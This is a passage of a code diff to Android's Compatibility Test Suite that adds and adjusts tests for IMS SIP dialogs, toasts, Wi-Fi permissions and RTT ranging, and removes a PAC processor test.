--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -46,6 +46,7 @@
public static final int ITEM_COMPRESSED = 2001;
// TODO Replace with a real sip message once that logic is in.
public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+ public static final String TEST_CALL_ID = "testcall";
public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
public static boolean shouldTestTelephony() {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index 3f786fa..c0f2e6b 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -832,6 +832,8 @@
// Send a message and ensure it gets received on the other end as well as acked
delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+ delegateConn.sendCloseDialog(ImsUtils.TEST_CALL_ID);
+ delegate.verifyCloseDialog(ImsUtils.TEST_CALL_ID);
// send a message and notify connection that it failed
delegate.setSendMessageDenyReason(
SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
index 3d06dce..729efb9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -48,6 +48,7 @@
// Pair is <transactionId, error reason>
private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
new LinkedBlockingQueue<>();
+ private final LinkedBlockingQueue<String> mCloseDialogRequests = new LinkedBlockingQueue<>();
private int mSendMessageDenyReason = -1;
public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
@@ -73,7 +74,7 @@
@Override
public void closeDialog(@NonNull String callId) {
if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
- // TODO: Test once dialogs are tracked in AOSP.
+ mCloseDialogRequests.offer(callId);
}
@Override
@@ -93,6 +94,12 @@
assertEquals(messageToVerify, m);
}
+ public void verifyCloseDialog(String callIdToVerify) throws Exception {
+ String requestedCallId = mCloseDialogRequests.poll(ImsUtils.TEST_TIMEOUT_MS,
+ TimeUnit.MILLISECONDS);
+ assertEquals(callIdToVerify, requestedCallId);
+ }
+
public void setSendMessageDenyReason(int reason) {
mSendMessageDenyReason = reason;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index 6b3b134..adf4956 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -145,6 +145,11 @@
mLatch.countDown();
}
+ public void sendCloseDialog(String callId) {
+ assertNotNull("SipDelegate was null when closing dialog", connection);
+ connection.closeDialog(callId);
+ }
+
public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
throws Exception {
assertNotNull("SipDelegate was null when sending message", connection);
diff --git a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
index f31b16e..edfb312 100644
--- a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
@@ -25,22 +25,17 @@
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
-import android.app.Instrumentation;
import android.content.ClipData;
import android.content.ClipDescription;
-import android.content.Context;
import android.net.Uri;
import android.view.ContentInfo;
import android.view.OnReceiveContentListener;
import android.view.View;
-import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
import androidx.test.rule.ActivityTestRule;
-import com.android.compatibility.common.util.PollingCheck;
-
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -56,17 +51,12 @@
public ActivityTestRule<ViewTestCtsActivity> mActivityRule = new ActivityTestRule<>(
ViewTestCtsActivity.class);
- private Instrumentation mInstrumentation;
- private Context mContext;
private ViewTestCtsActivity mActivity;
private OnReceiveContentListener mReceiver;
@Before
public void before() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- mContext = mInstrumentation.getTargetContext();
mActivity = mActivityRule.getActivity();
- PollingCheck.waitFor(mActivity::hasWindowFocus);
mReceiver = mock(OnReceiveContentListener.class);
}
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index c6ba4fe7..ed0e92f 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -24,7 +24,6 @@
ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<application android:maxRecents="1"
android:usesCleartextTraffic="true">
<provider android:name="android.webkit.cts.MockContentProvider"
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
deleted file mode 100644
index 784fe5c..0000000
--- a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.webkit.cts;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.util.Log;
-import android.webkit.PacProcessor;
-import android.webkit.WebViewFactory;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-public final class PacProcessorTest {
- static final String TAG = "PacProcessorCtsTest";
-
- private ConnectivityManager mConnectivityManager;
-
- @Before
- public void setUp() {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- mConnectivityManager =
- context.getSystemService(ConnectivityManager.class);
- }
-
- /**
- * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
- */
- @Test
- public void testCreatePacProcessor() {
- PacProcessor pacProcessor = PacProcessor.createInstance();
- PacProcessor otherPacProcessor = PacProcessor.createInstance();
-
- Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
- Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
-
- Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
-
- pacProcessor.setProxyScript(
- "function FindProxyForURL(url, host) {" +
- "return \"PROXY 1.2.3.4:8080\";" +
- "}"
- );
- otherPacProcessor.setProxyScript(
- "function FindProxyForURL(url, host) {" +
- "return \"PROXY 5.6.7.8:8080\";" +
- "}"
- );
-
- Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
- Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
-
- pacProcessor.release();
- otherPacProcessor.release();
- }
-
- /**
- * Test PacProcessor does not have set Network by default.
- */
- @Test
- public void testDefaultNetworkIsNull() {
- PacProcessor pacProcessor = PacProcessor.createInstance();
- Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
-
- pacProcessor.release();
- }
-
- /**
- * Test that setNetwork correctly set Network to PacProcessor.
- */
- @Test
- public void testSetNetwork() {
- Network[] networks = mConnectivityManager.getAllNetworks();
- Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
-
- PacProcessor pacProcessor = PacProcessor.createInstance();
- PacProcessor otherPacProcessor = PacProcessor.createInstance();
-
- pacProcessor.setNetwork(networks[0]);
- Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
- Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
-
- pacProcessor.setNetwork(null);
- Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
-
- pacProcessor.release();
- otherPacProcessor.release();
- }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4249bbf..1fa716c 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -158,11 +158,24 @@
PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
}
+ private static void assertCustomToastShown(CustomToastInfo customToastInfo) {
+ PollingCheck.waitFor(TIME_OUT, customToastInfo::isShowing);
+ }
+
+ private static void assertCustomToastHidden(CustomToastInfo customToastInfo) {
+ PollingCheck.waitFor(TIME_OUT, () -> !customToastInfo.isShowing());
+ }
+
private static void assertCustomToastShownAndHidden(final View view) {
assertCustomToastShown(view);
PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
}
+ private static void assertCustomToastShownAndHidden(CustomToastInfo customToastInfo) {
+ assertCustomToastShown(customToastInfo);
+ assertCustomToastHidden(customToastInfo);
+ }
+
private void assertTextToastShownAndHidden() {
assertTrue(mToastShown.block(TIME_OUT));
assertTrue(mToastHidden.block(TIME_OUT));
@@ -179,6 +192,14 @@
assertNull(view.getParent());
}
+ private static void assertCustomToastNotShown(CustomToastInfo customToastInfo) {
+ assertThat(customToastInfo.isShowing()).isFalse();
+
+ // sleep a while and then make sure it's still not shown
+ SystemClock.sleep(TIME_FOR_UI_OPERATION);
+ assertThat(customToastInfo.isShowing()).isFalse();
+ }
+
private void assertTextToastNotShown(TextToastInfo textToastInfo) {
assertFalse(textToastInfo.blockOnToastShown(TIME_FOR_UI_OPERATION));
}
@@ -923,7 +944,7 @@
public void testPackageCantPostMoreThanMaxToastsQuickly() throws Throwable {
List<TextToastInfo> toasts =
createTextToasts(MAX_PACKAGE_TOASTS_LIMIT + 1, "Text", Toast.LENGTH_SHORT);
- showTextToasts(toasts);
+ showToasts(toasts);
assertTextToastsShownAndHidden(toasts.subList(0, MAX_PACKAGE_TOASTS_LIMIT));
assertTextToastNotShown(toasts.get(MAX_PACKAGE_TOASTS_LIMIT));
@@ -943,7 +964,7 @@
List<TextToastInfo> toasts =
createTextToasts(currentToastNum + 1, "Text", Toast.LENGTH_SHORT);
long startTime = SystemClock.elapsedRealtime();
- showTextToasts(toasts);
+ showToasts(toasts);
assertTextToastsShownAndHidden(toasts.subList(0, currentToastNum));
assertTextToastNotShown(toasts.get(currentToastNum));
@@ -961,6 +982,20 @@
}
}
+ @Test
+ public void testCustomToastPostedWhileInForeground_notShownWhenAppGoesToBackground()
+ throws Throwable {
+ List<CustomToastInfo> toasts = createCustomToasts(2, "Custom", Toast.LENGTH_SHORT);
+ showToasts(toasts);
+ assertCustomToastShown(toasts.get(0));
+
+ // move to background
+ mActivityRule.finishActivity();
+
+ assertCustomToastHidden(toasts.get(0));
+ assertCustomToastNotShown(toasts.get(1));
+ }
+
/** Create given number of text toasts with the same given text and length. */
private List<TextToastInfo> createTextToasts(int num, String text, int length)
throws Throwable {
@@ -974,9 +1009,22 @@
return toasts;
}
- private void showTextToasts(List<TextToastInfo> toasts) throws Throwable {
+ /** Create given number of custom toasts with the same given text and length. */
+ private List<CustomToastInfo> createCustomToasts(int num, String text, int length)
+ throws Throwable {
+ List<CustomToastInfo> toasts = new ArrayList<>();
mActivityRule.runOnUiThread(() -> {
- for (TextToastInfo t : toasts) {
+ toasts.addAll(Stream
+ .generate(() -> CustomToastInfo.create(mContext, text, length))
+ .limit(num + 1)
+ .collect(toList()));
+ });
+ return toasts;
+ }
+
+ private void showToasts(List<? extends ToastInfo> toasts) throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ for (ToastInfo t : toasts) {
t.getToast().show();
}
});
@@ -1071,7 +1119,7 @@
}
}
- private static class TextToastInfo {
+ private static class TextToastInfo implements ToastInfo {
private final Toast mToast;
private final ConditionVariable mToastShown;
private final ConditionVariable mToastHidden;
@@ -1093,7 +1141,8 @@
return new TextToastInfo(t, toastShown, toastHidden);
}
- Toast getToast() {
+ @Override
+ public Toast getToast() {
return mToast;
}
@@ -1105,4 +1154,34 @@
return mToastHidden.block(timeout);
}
}
+
+ private static class CustomToastInfo implements ToastInfo {
+ private final Toast mToast;
+
+ CustomToastInfo(Toast toast) {
+ mToast = toast;
+ }
+
+ static CustomToastInfo create(Context context, String text, int toastLength) {
+ Toast t = new Toast(context);
+ t.setDuration(toastLength);
+ TextView view = new TextView(context);
+ view.setText(text);
+ t.setView(view);
+ return new CustomToastInfo(t);
+ }
+
+ @Override
+ public Toast getToast() {
+ return mToast;
+ }
+
+ boolean isShowing() {
+ return mToast.getView().getParent() != null;
+ }
+ }
+
+ interface ToastInfo {
+ Toast getToast();
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 7ee1b72..578aaa0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -78,8 +78,8 @@
import androidx.test.filters.SdkSuppress;
import androidx.test.platform.app.InstrumentationRegistry;
-import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
@@ -95,6 +95,7 @@
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -493,6 +494,24 @@
}
/**
+ * Restart WiFi subsystem - verify that privileged call fails.
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testRestartWifiSubsystemShouldFailNoPermission() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ try {
+ mWifiManager.restartWifiSubsystem("CTS triggered");
+ fail("The restartWifiSubsystem should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ /**
* test point of wifiManager properties:
* 1.enable properties
* 2.DhcpInfo properties
@@ -3268,4 +3287,64 @@
assertTrue(isSupportedWhenWifiEnabled);
}
}
+
+ public class TestCoexCallback extends WifiManager.CoexCallback {
+ private Object mCoexLock;
+ private int mOnCoexUnsafeChannelChangedCount;
+
+ TestCoexCallback(Object lock) {
+ mCoexLock = lock;
+ }
+
+ @Override
+ public void onCoexUnsafeChannelsChanged() {
+ synchronized (mCoexLock) {
+ mOnCoexUnsafeChannelChangedCount++;
+ }
+ }
+
+ public int getOnCoexUnsafeChannelChangedCount() {
+ synchronized (mCoexLock) {
+ return mOnCoexUnsafeChannelChangedCount;
+ }
+ }
+ }
+
+ /**
+ * Test that coex-related methods fail without the needed privileged permissions
+ */
+ // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testCoexMethodsShouldFailNoPermission() {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+
+ try {
+ mWifiManager.setCoexUnsafeChannels(Collections.emptySet(), 0);
+ fail("setCoexUnsafeChannels should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ try {
+ mWifiManager.getCoexUnsafeChannels();
+ fail("getCoexUnsafeChannels should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ final TestCoexCallback callback = new TestCoexCallback(mLock);
+ try {
+ mWifiManager.registerCoexCallback(mExecutor, callback);
+ fail("registerCoexCallback should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ try {
+ mWifiManager.unregisterCoexCallback(callback);
+ fail("unregisterCoexCallback should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index cfd6448..5e33d22 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,8 @@
import android.net.wifi.rtt.ResponderLocation;
import android.platform.test.annotations.AppModeFull;
+import androidx.core.os.BuildCompat;
+
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -80,7 +82,13 @@
+ "your test setup includes them!", testAp);
// Perform RTT operations
- RangingRequest request = new RangingRequest.Builder().addAccessPoint(testAp).build();
+ RangingRequest.Builder builder = new RangingRequest.Builder();
+ builder.addAccessPoint(testAp);
+ if (BuildCompat.isAtLeastS()) {
+ builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+ }
+ RangingRequest request = builder.build();
+
List<RangingResult> allResults = new ArrayList<>();
int numFailures = 0;
int distanceSum = 0;
@@ -109,6 +117,12 @@
RangingResult result = currentResults.get(0);
assertEquals("Wi-Fi RTT results: invalid result (wrong BSSID) entry on iteration " + i,
result.getMacAddress().toString(), testAp.BSSID);
+ if (BuildCompat.isAtLeastS()) {
+ assertEquals(
+ "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on iteration "
+ + i,
+ result.getNumAttemptedMeasurements(), RangingRequest.getMaxRttBurstSize());
+ }
assertNull("Wi-Fi RTT results: invalid result (non-null PeerHandle) entry on iteration "
+ i, result.getPeerHandle());
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index 1614c18..2b9994f 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -32,6 +32,7 @@
<option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
<option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
<option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+ <option name="compatibility:include-filter" value="CtsStatsdAtomHostTestCases" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
index 2226a16..bd4f759 100644
--- a/tools/cts-tradefed/tests/.classpath
+++ b/tools/cts-tradefed/tests/.classpath
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
- <classpathentry kind="src" path="src"/>
+ <classpathentry excluding="Android.bp" kind="src" path="src"/>
<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">